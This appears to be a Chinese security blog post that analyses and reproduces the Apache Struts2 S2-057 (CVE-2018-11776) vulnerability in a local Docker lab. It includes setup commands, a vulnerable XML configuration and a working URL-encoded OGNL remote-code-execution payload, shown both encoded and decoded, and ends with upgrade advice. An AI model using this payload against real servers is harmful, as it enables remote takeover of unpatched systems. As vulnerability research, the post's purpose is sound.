A-A+

Apache Struts2 S2-057漏洞分析与复现

2018年08月23日 实用工具 评论 2 条 阅读 7,022 views 次

目前已知问题strusts低版本能弹计算器,高版本不能,经测试struts-2.2.3.1-all.zip(http://archive.apache.org/dist/struts/binaries/struts-2.2.3.1-all.zip)可弹计算器 

0x00 漏洞描述

It is possible to perform a RCE attack when namespace value isn’t set for a result defined in underlying xml configurations and in same time, its upper action(s) configurations have no or wildcard namespace. Same possibility when using url tag which doesn’t have value and action set and in same time, its upper action(s) configurations have no or wildcard namespace. —— Apache Struts2 Team

2018年8月23日,Apache Strust2发布最新安全公告,Apache Struts2 存在远程代码执行的高危漏洞,该漏洞由Semmle Security Research team的安全研究员汇报,漏洞编号为CVE-2018-11776(S2-057)。Struts2在XML配置中如果namespace值未设置且(Action Configuration)中未设置或用通配符namespace时可能会导致远程代码执行。

详细关于漏洞作者发的发现过程https://lgtm.com/blog/apache_struts_CVE-2018-11776

漏洞细节的中文翻译https://www.anquanke.com/post/id/157397

 

0x01 漏洞影响面

影响面

确定CVE-2018-11776为高危漏洞。

实际场景中存在一定局限性,需要满足一定条件。

影响版本

Struts 2.3 to 2.3.34

Struts 2.5 to 2.5.16

修复版本

Struts 2.3.35

Struts 2.5.17

0x02 漏洞复现与验证

1)搭建环境docker

使用docker-composevulhub搭建
如果没有docker
  curl https://get.docker.com/ | bash
  pip install docker-compose

github克隆docker

git clone git@github.com:0x24bin/St2-057.git

cd St2-057

docker-compose up -d

docker ps -a

可以看到

 

CONTAINER ID        IMAGE                                 COMMAND                  CREATED             STATUS              PORTS                    NAMES                      
b6eefdb89aad        vulhub/struts2:2.5.12-rest-showcase   "catalina.sh run"        2 minutes ago       Up 2 minutes        0.0.0.0:8080->8080/tcp   s2-052_struts2_1    

搭建漏洞环境

进入docker

docker exec -i -t <你上面显示的CONTAINER ID > /bin/bash

运行

apt-get update -y &&
mkdir /usr/local/tomcat/webapps/test && 
wget https://fossies.org/linux/www/legacy/struts-2.5.16-all.zip &&
apt-get install unzip -y &&  unzip struts-2.5.26-all.zip &&
cp struts-2.5.16/apps/struts2-showcase.war  /usr/local/tomcat/webapps/

修改/usr/local/tomcat/webapps/struts2-showcase/WEB-INF/classes/struts-actionchaining.xml/usr/local/tomcat/webapps/struts2-showcase/WEB-INF/src/java/struts-actionchaining.xml文件如下

<struts>
<package name="actionchaining" extends="struts-default">
<action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1">
<result type="redirectAction">
<param name = "actionName">register2</param>
</result>
</action>
</package>
</struts>

 

重启服务

  cd /usr/local/tomcat/bin/
   ./shutdown.sh 
   # 这个时候你应该退回本机shell了,重新启动环境

   docker-compose up -d

复现

访问127.0.0.1:8080/struts2-showcase/${(11111+111)}/actionChain1.action
会显示到了127.0.0.1:8080/struts2-showcase/11222/actionChain1.action

将${(111+111)}替换成expexp  (由jas502n大佬提供)

http://127.0.0.1:8080/struts2-showcase/%24%7b(%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c%23a%3d%40java.lang.Runtime%40getRuntime().exec(%27calc%27).getInputStream()%2c%23b%3dnew+java.io.InputStreamReader(%23a)%2c%23c%3dnew++java.io.BufferedReader(%23b)%2c%23d%3dnew+char%5b51020%5d%2c%23c.read(%23d)%2c%23jas502n%3d+%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23jas502n.println(%23d+)%2c%23jas502n.close())%7d/actionChain1.action

拆分

  ${
   (
    #_memberAccess["allowStaticMethodAccess"]=true,
    #a[email protected].Runtime@getRuntime().exec('calc').getInputStream(),
    #b=new java.io.InputStreamReader(#a),
    #c=new java.io.BufferedReader(#b),
    #d=new char[51020],
    #c.read(#d),
    #jas502n= @org.apache.struts2.ServletActionContext@getResponse().getWriter(),
    #jas502n.println(#d),
    #jas502n.close())
    }

0x03 修复建议

官方建议升级Struts到2.3.35版本或2.5.17版本

该版本更新不存在兼容性问题

参考链接:

https://www.anquanke.com/post/id/157397

https://github.com/jas502n/St2-057

https://github.com/0x24bin/St2-057
https://lgtm.com/blog/apache_struts_CVE-2018-11776

标签:

2 条留言  访客:2 条  博主:0 条

  1. redn3ck
    • 0xbin

给我留言取消回复